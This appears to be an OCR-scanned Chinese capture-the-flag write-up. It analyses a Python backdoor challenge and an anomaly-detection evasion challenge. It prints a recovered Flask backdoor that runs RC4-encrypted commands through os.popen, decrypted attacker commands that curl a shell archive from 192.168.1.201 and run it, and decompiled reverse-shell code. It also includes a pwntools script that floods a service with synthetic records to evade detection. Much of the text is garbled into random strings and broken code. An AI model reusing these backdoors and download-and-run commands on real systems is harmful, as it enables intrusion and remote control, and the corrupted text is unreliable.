A-Za-20-9+/= - Y3hxc31vc2djN1T1RUZAZKVIMNAZMF 11bX15aXMZdWFWMXArQWOWAUZ 2CIRTC@1Va2hKVZ1WOVMVAESMC8206dmeUtNL31FO
Fork WthlMsluNEzﬁquBlektr‘RGlRaZk}VF\/’JSBRQCBQSMBBR[}GRCL1Vydm]8VZRXQTFELledFpBVZNKKZpISk\VXaytO(ENSdk
o tHth4SDhETEw3bHZlKBCSSWSVLZ]ﬁdDFZWCQUC1VSdeH1HhFNFpOUZxSWklacjFFVOXKEFplehXNTleXhXZBFVSkDZV@D
" Remove non-alphabet chars [ strict mode pHmasNmhLAFNhMmRAY 1 9GMHhCAVIplmIUWEZ JRm1ENTtUR30Vb1B4ZVBUENVGUHE1SVAOOE 5abXZ5 TTVYRGCVTDhKVSOQZRQ
agic U3ZYQStnclVIRHhMQ2x6UKSESEpVbXZ0a2FMYkp2Y1pjU2C 3VGAENIVTZUpXa@NRb2pTast ITk1FajVi TIErRKZNCELSHGAOZ
1I5eXAzL1Y30VduU2VFRk1PNkMOaGNKYZRtd3BrKkzASADFSAWUOK21BbG! rK: MW
URL Encode

ROT13 Brute Force
ROT13

URL Decode

From Base64

RC4

Reverse

Data format
Encryption / Encoding
Public Key
Arithmetic / Logic

Networking

F2Vi thdUoxakpnYeRzaXz1ZCt3SFBIYXpBNUTWC ZRySFIoWUIPQIZ5HGP1R1LiRkhpM1hLV2hiNGFmTVZ2aHg3R  1huGpobUL
PR3FCVS90UKZVAU1XQKNHK1ZWVVZBYmQ1CEZEVF pKM1A4d1VSbTZRQUF ZUXZARy taSkRSULFSCEGOWEsVTDRIRKZORXppdiza
UFN5c11QS1dKbEFRCORPK2RSaTQ2Y24XdTVBNUDSCWZUNHZ3N3PT CWUPVIVRL1IpLOtud jBWUMOXSDFKOWRHSNAEZNFtZ3ZuS
2krz055dudjZ1VqRzc2VZ2L 3RPaGX@OETyMOt2bUp6CWIMUHpt dithyMF JGVUPLWMPHYTCzaUXYVDRPdmxoTF JhU2JUVDRACS
9TQ2tOR1I5akxWbVNGMmtyMEATC 3FUamXMMmy2Yy9 JWEtXalINADFrTUNtQONUVI thsmuebnB2beTSOUIND t ] TOHXMIM}Z

o s
Output BD®::
_ = lambda _ : _import_('zlib').decompress(__import_ ('basesa').bsadecode(_ [::-1]));ir
exec((_)

(b’ =cacu3xP+//vPzftvBgri635a0T1rQuMIKGi 31iBWVmE TFEVahfQE2PE j7FOCCTIPIBTGGZMC+19A0YYGEGUAMCarWSiTY.
BCV37ys+N185NocfmjE/fOHei40neaCL5TZwIOpEL IXLIOVFXVR10a5QvrjiTQKeG+SGbyZm+52Tk/V3nZeG6Neap7HE 6nu+a
cxqsr/sgc6ReEFxfEe2p30Ybmyyis3uavip+AjOiFvrtSsMukhIWOVIS/t0+0/68gfyKM/yEOhT6S9eCDAQpSyLNKkDiQko7T
UUKDPsOR3pQLdB/Urvbt cAWA1D/9Ct ZAC 1+ HIL1K+NpCYVKGVhXHEDLL71vu+wOTnU/92t1sX/ TSURVZVOXEXZNS11ZMZr1
kel IhZeB8WSOymxqgqX)IYWI i2n96hKtSa2dab/ FOXBURiZbTXFIFMD6KNGZ/0PXePTZujPqS TWSNZmVYMSXDg/ L8IU/mCaP
SVXA+gqeuDxLC1ZRNDHIUMVtkaLbJvbZcSg7Tgm7uSe JWkCQoSi+INIE]SCNL+FFgPKRXNAGROYP3/V79WNSEF 06CAhc e
Amwpk-+09t1yued+nAlbh1xnXM1Pfk+sGBmaUFE1KE jOpnfangs\+au0qjIgeDsivId+uHPHazt SMVSArHRhYBOBGYX UGYbFH
13XKuhb7AFMVVhX7F9aP NI 1GqBU/ hRFUUMGBCGHVLY PFDTZI3P8WUYM6Q/ LaeFFtEziufz
PSyrYPIWI1AQsDO+d1146Cn1uSASHYqFiAvW7ZSqe+VUQ/R1, dodGIuDFqmgynKi+gNRUgCFUIG73V6s/tihlts
823Kvm)2qiLPzmuhroRFUIKZ 6a731LXT40V1NLRaSHTTAtq/SCKEGRY JLVMS j2kroGS sqTF1L216¢/ CXKWIRMELKMCMCCTVA+
aJeanpvoBIYONNKNZRAY S5 26mTFToSwas jmxBmkRYCmAB2GFK7ak6bIRTFDMSWGSZVAEXVIPFVSNRZCTFNO3 thQkeB/ L IVOS
LFAMR68/62rLODZ0PZFZI5VLqorvaCuUeIkR3PHCU++d/10vk8/h3HzSEYTGCW1ujZ8h40UiPYGT74NjbY7F I8VUHANZ
me 3205 =1 Q %66 @ tms Tr Raw Byres € NEL

T FBEEXMRE 2lib, 52T RUERI—1EST 2lib [E48F5 base64 AUEFFHTER



2,393 3,118

O Text data @ Base64 zLib
Paste log output or JSON payloads For responses delivered as strings

COMPRESSION RATIO CURRENT FORMAT
O Hex zLib O Upload .zlib
Perfect for CLI dumps with byte Drop local archives for inspection 76.7% Base64
pairs
exec((_)(b'=MhotF+P77 &
Need format tips? 7 Upload .zlib // /114Gy IHNvOWPMMRKF I T1SymIzVmOz4e7Asd 2f ikAzeNQAs aew4RLYBW
WFWgo1CGA8DXiPbdkcP97MO6SM
1 eJwwsfohGqufIwsRyygyd9iFuScMs srolEms/jeox/ Jknely6aqu7zLap9//u & /ifkkoThk ] d38qezPfyGOOyAbF IbaApGvzyS

/££/L//nfagv2EbIqCYVipelx6etk8QuQPhqtvqtl4z6C8aYCsetkx2xetm NRZVVNX3uHmpSBEXYGKVWUUEQnVNMOWM7XZ9q X2 c1FKMU4Fmke CaE
05559Nhtqy8cFdP2CgSo3pqoImh /ay8veDfV+uNF1/WjDwHCmeHRrABPUB/ tRSZ2B3XnqOZDKEPS
+bix829X2TAyLNIbAKbqNKD8000hZS9STCzWLUMLOUUZ2tUIWdbDSCIa5YG /a03Z5VES6AK2Y26Q53ZPCPqUKZMPGEFQ5EToep0QQEA3Idg
YsZ@IcDXHmVk634cw3TcMzR175KGdCbaoE6kLr /ntXJtGPbeghiiwo
+MQNHYBR8OKDOPOWXK jhVppROC LQLCWmQBND3 2WfBVChyn2cNTy 18whpeyu /@tmRSUWecbgxtIracZrQDyMcs thbso5gqySqBIg Ta6H2PSRX5 1 uwMmaaemG
DGsfLLy730uy2DoulstrwuzBGdKmxC14INOhD@06BIbahboc2mymkiAGRO2 DRAJkpW2ZOVWEKIUBYZ0oSqlinGbIc68PsVIMbugF 0BF5nK10KE0 SHSrbMcND
DErYcp2YwSbvA4xeru2TnIfg1z TXBYD6AXBENRb7cu7qCI10d/ jGKbe +QHSWOQ1VOIDKENCS+erXP205Z5mst5B27DkZ8t Lp32
+9iaiXx1tYUCsZKaM24dSEF1zGkGXIIPEUrnbzhaz IeNGaGrBPON1LNEGSW +TT71iVdYeSFeFqzPajj6TGM3bTV3d2DFWVMi a9 c4i¥bhDNjUXaikHWCvol
PCOVYWGR+LaLEVMWoTpBOMTd7W3CMHHIKL7KC JhBYp56N89d fS5y1YfueYlou+Hdtb3FVLCwy/Vnonn3
/KTAHAGR86EBY JW3UBLI12HaCRVO+S /xZRIrQrhuTOBO8ML ztHNUgKMDGBNa1YWKXMOgeDUgZ
+1dnzEMUnyqb8IvUhIikS6pnbUt6UsGLishokX5KggNIgMF3iTsjzfbIMAa /vouBnNzte9zhf7B7YHZQPIF600rkovjovUhzLDgkTOKSSKPGT cTwoyaxn
TY6KC+rbHSVMBGNSAF SRZyepDi TpQQTI3Z3HXFDNrgCORZCOKNY/ rrI66y bs5drx31iLcIjB5Mup6yZFASNSeXCRL3pDIVIIuUneROZYNX2XDINFkvFMADe
/WLRDQRV/u8NnjUsFL7Ig15aTdhlUjfFCn8GkdoGi ad9xjmoROLIIZ/sIUITJSZAUVNXVBUGBOG37FBXWLYUYTEIQsWAWKS s1t
+EWNSXOWXVCKNJg1EBrLWZ jpbbwx+r87Xnk91xKbzkl/419Q+2T3mG /dUtXr902kTI075nZaDGOWhr 1F LRWZNWMOFBXWP i 0¥SSOxhe8DUUYg9471
/Fdb6zRCEV1Ce0YyScVGcKkkbtwe2zmQdiDYOTc6U3GGL15dRS7UZQivsy NEM/DCVXGQt 8WIWATIpqMu-+F ZFOgVmg51evQxXHF gbHWIZWUCMHGoSgY 7R
+AGGHYUVBOKTWpgbAb72U0C7XPul JoZEFORQEVPrNSPWaONVFRNG 2fXbaG +bMCrClizA7j SORK fuluyVKEYpbSEpAle]L5V2egqIARECaqOFGrulXCHXIrd
+ZxCiye8xWl TsY34yUQ I MDAN+AMAT M1 Vi3 2hE mAADATMEREDThEATCRRVLR D
/dze1N21Mi8Di0x9rWsz1d4G719I88GRIACNGIMWYLATbENZ6QTEUK
/Mi3FA4itadTiUxKcanVsWlly+ABUFNCEVe1YnlAvlBrdyectQrQf .
SRR pRis SRR e bena e eranaar (® Copy Result @ Copy Link

Press Ctrl+Enter to refresh. Editors resize for long payloads

BIMEE. W5 python BIAUORERTT, BSEIINEEFEM RC4 @AM, HPE
2 RC4 Z58: v1p3r_5tr1k3_k3y



import zlib
import baseo64

import re

def solve():
file path = '1.txt'
with open(file path, 'r'")
content = f.read () .strip/()
current content = content
iteration = 0
while True:
iteration += 1
reversed content =
padding =
if padding:
reversed content += '='
compressed data =
decompressed data =
text result =
match =
text result)
if match:
current content =
else:x
print (text result)
with open('2.txt', 'w',
f.write(text result)

break

hlliE name == ' main ':

solve ()

as f:

re.search (r"exec\ (\ (

match.

current, content| si=1]

[o)

len(reversed content) % 4

* (4 - padding)

baseb64.bb4decode (reversed content)
zlib.decompress (compressed data)

decompressed data.decode ('utf-8")

NI )N,

group (1)

encoding='utf-8"') as f:



global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'vip3r_5trik3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j=o
for i in range(256):
j = (3 + S[i] + key[i % len(key)]) % 256
s[11,7s(3] = s3], sCi]
i=j=29
res = bytearray()
for char in data:
i=(i+1) %256
j = (j + S[i]) % 256
s[il, s[3j] = s[31, s[i]
res.append(char ~ S[(S[i] + S[j]) % 256])
return bytes(res)
backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232bebh7504432bfa90d3277¢
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return "'
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors:
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

flag (B:

SnakeBackdoor-4
BMERE:

FRE=EEE, LB REEIES, JUEHNKES LE. BEHBEETT—
shell.zip, EIREEIREZERS"nf2jd092jd01"



Recipe ~am8 Input +0Oz§ =

acad614ef3d82c8445d275713899f04dod3819fc3 726:‘?576‘34[}189885956C1f938576561052416251{45358396&13a6534

RC4 ~0n
Passphrase Input format
v1p3r_5trik3_k3y UTF8~ Hex

Output format

UTF8
meos =1 Q a0 Tr Raw Bytes ¢ LF
Output 5] ‘E m
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
Recipe ~ OB B input + O &
RC4 ~Qn bab6694ba3c938e64b8d257b7ccceed60f634714363ed21c300c099F129b99028eb57408024e1c320614
Passphrase Input format
vip3r_5trik3_k3y UTFS - Hex

Output format
UTF8

mc g4 T 1 Tr raw

Output B It

unzip -P nf2jdes2jder -d /tmp /tmp/123.zip

ZIEREREX 4 shell"Hi2l/itmp, &MY python3.13 HIEAHUT

Recipe ~ B B Input
RC4 ~Qn a2ae330da7846599188b26257a88F10b50790cb47e6a97177e1053¢351)
Passphrase Input format

UTF8 ~

vlp3r_5trik3_k3y Hex

Qutput format
UTF8

me 58 = 1

Output

Imv /tmp/shell /tmp/python3.13



Recipe ~ BB B input

achd7eadb7c93ecedbec37246687ae0649614caa3430ceal

RC4 ~ Q0 n
Passphrase Input format
v1p3r_5trik3_k3y uteg~ Hex
Qutput format
UTF8
A 48 T 1
Output
|chmod +x /tmp/pythonz.13
Recipe - ] Input
RC4 A QN ePac7e52fc996cc2038c2d7a3899%ed
Passphrase Input format
UTF8 ~
v1p3r_5trilk3_k3y Hex
Qutput format
UTF8
me 38 = 1
Output

|/tmp/python3.13
FHLE B AR S R TRIAR RS4RI B FR 9" python3. 13"
flag {H:

flag{python3.13}

SnakeBackdoor-5
BMERE:

¥TFF shell IR Socket B(= 192.168.1.201:58782 , IEiHIAHMREIRSZ 2 XM,
1834 Patch 1A87ER

e



fd = socket(2, 1, @);

24 if (fd< @)

25 exit(1);

26 memset(&s, 48, sizeof(s));

27  s.sa_family = 2;

28  *(_DWORD *)&s.sa_data[2] = inet_addr("192.168.1.201");

29
38 if ( connect(fd, &s, Ox16u) < @ )
3l £

32 close(fd);
33 exit(1);

34

35 if ( (unsigned int)Get_4 bytes(fd, (unsigned _ int8 *)&p_a2_4, 4ulLlL, @) 1= 4)
36| 1

37 close(fd);

38 exit(1); |
39}

- [T T By R TexFrea N [N (I 7 IR 8) 1B O FO0B0N [ N( - g AN [T HIBYTEC A7, s ]
41 srand(seed);
12 Ffor {1 =6;1 <3+ )

13 key[i] = rand{);

14

45  SMA({ inte4)box 1, ( inted)key, 1);

16

wl

18 p a2 = (p.a? »> 8) & @xFFEO | (p 22 << 8) & OxFFAARO | (p =2 << 24) | HIBYTE(p a?);
19 if ( p_a2 <= 9x1000 && p_a? &8 (p_a2 & OxF) == @ )

58 {

BR 4 PFTRTER SM4 /Y Key

31

32 close(fd);

33 exit(1);

3ai 3

35 if ( (unsigned int)Get 4 bytes(fd, (unsigned _ int8 *)&p a2 4, 4ullL, @) !=4)
36

37 close(fd);

38 exit(1);

390 3}

o T R SR ST
41  srand(seed);

42. for ( B; 1<=3; ++1 )

43 key[i] = rand();

44

45 SMA(( inte4)box 1, ¢ inted)key, 1);

46

47 {

48 p_a2 = (p_a2 >> 8) & @xFF@@ | (p_a2 << 8) & @xFFEGAO | (p_a2 << 24) | HIBYTE(p_a2);
49 if ( p_a2 <= @x10e0 && p_a2 8& (p_a2 & @xF) == 0 )

50 {

51 1 bloack = Get_4 bytes(fd, (unsigned _ int8 *)command, p_a2, @);// 16
52 len_bloack 1= p a2 )

53 break;

5

ZEEINRLEHITRE 34 95 20 46 Patch — 8% Key



34952046

00000010
49b351855f211b85bd012f80ce8ed5b3
00000010
2cc5becb37ca595a89445461c6512efd
00000010
090!

00000030
87e8faa921f3e67c530f1b6740a9d439794e4267 16d49f5e949d5d568 1ed54a97f6cc6752fcf7aad08294e6a59029e7
00000010
b7c88bb0d92308a57f83d08a90ae024c
00000920
91fc3c4dc278b’ 8f3fe37c’ 33d0d7eb331e79260: 9fb66alaed 192c51152e87a 10: 1371 12 12786411b7
cc2bccec85db48d820038d8c1273024cd80f99e76 9f97eb5e01c74a7807 1 8807 1e38a7 3 11225df777845781f0
a047eafd0b65d7b87 15cdd7f9becf3046afd 113dcOb8b7 14b00: 0dab7cfa61ea30 56 3d6bad779161939dd3acd! 4e9f0! b1d ccd412b8d821
73a5d9d24304eaf50c29d 1f3cde 1893acc5e4ba171ed4d1474d3f004620 '3ea4fff8399159d10f689487d553333cedecOcOr 32201526180 44b915248b8
bb99ba83f410b1c2b9bbe1b5e bd32b38: '4b450e412c2ab7: 1db1d900c8a57967 d2d6093eb14a0: 75b4w80799976132d02655'7'
06f499625780690382482d4dcib64257b9e8371 1e847957323fedb65b1 89afe150ae2213b7c9d2788dce7ba88cf8774a9bbe15c3832f0c1 36b1 39720937d639l37""h 0: 12786411
7ad644797d69604a9fd41 37d3I 86120ea2d6fbe312786411b701a353ab0 1fc75b1be 4de7 37W8877R=ﬂn daefead4 9eff.
507836a14c3f3e83d0a31 7cd2ab80489ba52050559547W97f0500d4706274b7 1€646000cfOf d0a0363b9209¢ 46860090957283e1 b364810145ed6e7525074a1a2527c05163cd8d495¢

cc0 125fff2fb3 1c6101dabec17b13f2d04eb8851a3115be66d1778dfb4003a9f705ad 133b196c32404734c892cdad6767 181cf7al0a38fb8ac6e0a04abbff4b1e8a7bfdabet
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Al Z2
The Silent Heist

HMERE

FRIRFANSEEIBETRZH 20 MtFEE, ZRAZFITIEERFPTAER
(BRERMH. REBOAIMAEXRRS), —BREINSESHRE 7 EEEE, fia
iR, HET—DEE 1000 KIEERZIERAIBE (public_ledger.csv)
FEME—HMIIRZICR, BEFELS 20 MHIES (feat_0 = feat_19)
feat_0: X550 (Transaction Amount)
feat_1 ~feat_19: INEANRESITHIEX
BEKE:
PRI RERLE (feat_0 2F0) M4BT $2,000,000, RXREERHHITEIER".
REFRCEEENEDNENAETENE, Bt EESH R
TESEERERIX csv #HEREIE], EOF &5
BMEPRRTIMAEXRR, BEENTH, EEREHEEMNTEZ AL RRNFIT



gy, IEERTIEEX, REFFREX, MEXREUERECEINGE
TR 20 HERVEHE, HITFE—MRERZEICIZENXR, MRESHISIE
EREINESEREES (GMM)

EHNR SRR

EINESEENLEERH K MESINREESTAIEE, X K M FREZRSEENR

ZFE* (Hidden variable) , —fgkiR, —NESEREAJLUER T IEESH, XEEAS
IR SR EE AT o HERRIFIEEHRLIR RIFAITE L.

FATRERIREN0F, tnsRiEEE—ERnEALUE, FEMEE, (K2, |
B, KIEgAER, EEETIX M, iR SEMEE AsE A eRIFaIkMEAIX N
o, EARARMESHHAR—E—RME, FRLERSSHSmALIEFATEAX/NE
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Original unclustered data Clustered data

GMM RIZEIERH/LNEHDm (ESHH) BEmAR, SmEP—EEEE—
featy 2 IMEIEEH feat

BMERE THRAMENE, HIIEEERNEG—MER, T4 check —SARMERT
RPICRERLER

F RN PRENRIBTE—EETF Isolation Forest (NSZ3MR) REVER S, TZd
ME—MEREEIE L, BRRIFEE. RETTEEHEHER), BE5EEH
EERRK, BEEIEENREERDNSER
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ERf SR ESIRZICREERI ISR, FEEEHTEE, HLLCRiHE. (hiE



EANCREZRET 2000000 (BRIFA—HA, HBiRET)
RZH15%ER pwntools BIE], £ public_ledger.csv @ BRE FRE exp.py FiaiT
MizE(FAE CREHAREBFES Y, FriFrsEE

from pwn import *

import pandas as pd

import numpy as np

from sklearn.mixture import GaussianMixture

from sklearn.ensemble import IsolationForest

HOST = "182.92.11.160"

PORT = 30754

context.log_level = "info" # "debug"

def main():

io = remote(HOST, PORT)

df = pd.read_csv("public_ledger.csv")

gmm = GaussianMixture(n_components=>5, covariance_type="full", random_state=114514)

gmm.fit(df.values)

iso_forest = IsolationForest(contamination=0.05, random_state=114514)

iso_forest fit(df.values)

target_sum = 2001000 # BERK—m &, HERBEITEM

current_sum =0

io.recvuntil(b"Waiting for CSV Data Stream (End with 'EOF")...")

cols = [f"feat_{i}" for i in range(20)]

header = "," join(cols) + "\n"




io.send(header.encode())
buffer = "
count =0

seen_hashes = set()

for row in df.values:
line = "," join([f"{x..16f}" for x in row])

seen_hashes.add(hash(line))

BATCH_SIZE = 10000
while current_sum < target_sum:
samples, _ = gmm.sample(BATCH_SIZE)
preds = iso_forest.predict(samples)
valid_indices = (preds == 1) & (samples[;, 0] > 0)
valid_samples = samples[valid_indices]
for sample in valid_samples:
line = "" join([f"{x:.16f}" for x in sample])
line_hash = hash(line)
if line_hash in seen_hashes:
continue
seen_hashes.add(line_hash)
line +="\n"
buffer += line
current_sum += sample[0]
count +=1
if len(buffer) > 8192:
io.send(buffer.encode())
buffer = ™
if count % 1000 == 0:
log.info(f"sent {count} records, sum: {current_sum:.2f}")

if current_sum > target_sum:




break
if current_sum >= target_sum:
break
if buffer:
io.send(buffer.encode())
io.sendlineg(b"EOF")

io.interactive()

if _name__ =="_main_"

main()

flag {H:
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